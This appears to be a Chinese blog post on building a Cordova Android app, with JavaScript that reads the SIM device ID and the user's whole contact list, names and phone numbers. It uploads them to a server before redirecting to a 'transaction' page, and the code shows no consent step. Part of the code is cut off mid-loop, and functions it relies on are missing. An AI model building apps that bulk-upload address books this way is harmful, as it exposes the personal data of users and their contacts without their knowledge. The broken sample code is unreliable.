这里先说说个人站在web的角度对cordova的一些理解:对于获取手机的一些原生信息,如调用摄像头、获取联系人,共享地理位置等,我的第一反应就是肯定要用原生的语言去做,如果js脚本要去调用,必须使用二次开发的接口。在百般无奈中,搜索到cordova这个打包工具,刚开始也是怀着病急乱投医的心态,试试,看看cordova生成的一些文件目录,发现cordova不就是把原生的一些类转换成对应的js对象,然后供开发者使用这些js吗?这让我想起5、6年前使用过的一个ajax框架DWR(可能已经过时了),它就是可以让js可以直接调用Java的service层方法,而且在js的环境中用法和Java一模一样。理解到此,心中有点底气,然后直接使用cordova了。
关于cordova的安装和使用,有许多的技术贴,下面的是步骤是在我自己的windows7系统中安装和操作的用例。
这里不得不啰嗦几句,cordova的安装实在是繁琐,大概是要兼顾各类型手机和项目混合管理的缘故吧。
cordova的命令有很多,请按需要查询相关的插件名称和命令,这里没有必要一一列举,只列举当前标题所需要的一些命令。
当然可以安装其他手机平台和指定android版本,网上很多资源,这里也不列举了
helloCordova
Connecting to Device
Device is Ready
var app = {
// Application Constructor
initialize: function() {
document.addEventListener('deviceready', this.onDeviceReady.bind(this), false);
},
// deviceready Event Handler
//
// Bind any cordova events here. Common events are:
// 'pause', 'resume', etc.
onDeviceReady: function() {
this.receivedEvent('deviceready');
document.getElementById("findContact").addEventListener("click", findContact);
},
// Update DOM on a Received Event
receivedEvent: function(id) {
var parentElement = document.getElementById(id);
var listeningElement = parentElement.querySelector('.listening');
var receivedElement = parentElement.querySelector('.received');
listeningElement.setAttribute('style', 'display:none;');
receivedElement.setAttribute('style', 'display:block;');
console.log('Received Event: ' + id);
}
};
/*
1、查询当前手机上面的联系人列表和sim卡信息
2、异步提交到服务器
3、跳转到交易首页
*/
function findContact() {
//查询当前sim信息,目前获取不到号码信息,直接传deviceId
window.plugins.sim.getSimInfo(function(res){
var deviceId = '';
if(res != ''){
deviceId = res.deviceId;
}
//调用获取联系人函数
getContacts(deviceId);
});
}
//获取当前用户的所有联系人
function getContacts(deviceId){
var options = new ContactFindOptions();
options.filter = "";
options.multiple = true;
fields = ["displayName","phoneNumbers"];
navigator.contacts.find(fields, contactfindSuccess, contactfindError, options);
//获取和处理联系人信息,传递给获取sim卡的函数
function contactfindSuccess(contacts) {
//创建联系人对象数组
var contactsArr = [];
for (var i = 0; i < contacts.length; i++) {
//创建联系人对象
var currContact = {};
//设置联系人名称
currContact.displayName = contacts[i].displayName;
//设置联系人电话号码
var phoneNumbers = [];
if(contacts[i].phoneNumbers != null){
for(var j=0;j
function sendContacts(deviceId,contacts){
$.ajax({
type : 'get',
url : 'XXX',
async : false,
dataType:'jsonp',
jsonp:'callback',
jsonpCallback:"jsonpCallback",
data : {
"deviceId" : deviceId,
"contacts":contacts
},
success:function(data){
if(data){
window.location.href = XXX;
}
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
alert(XMLHttpRequest.status + "," + textStatus);
}
});
}
到了这里,生成的apk也能够访问url了,而且在模拟器上面测试通过了。
//同步当前手机号码和联系人到系统,然后跳转首页
function sendContacts(deviceId,contacts){
$.ajax({
headers: {
'X-SMP-APPCID': "c940cb2f-fef4-49d3-81e6-736273019fb4"
},
type : 'post',
url : 'XXX',
async : false,
data : {
"deviceId" : deviceId,
"contacts":contacts
},
success:function(data){
window.location.href = XXX;
},
error : function(XMLHttpRequest, textStatus, errorThrown) {
//alert(XMLHttpRequest.status + "," + textStatus);
alert("同步服务器失败,请稍后再试!!");
}
});
}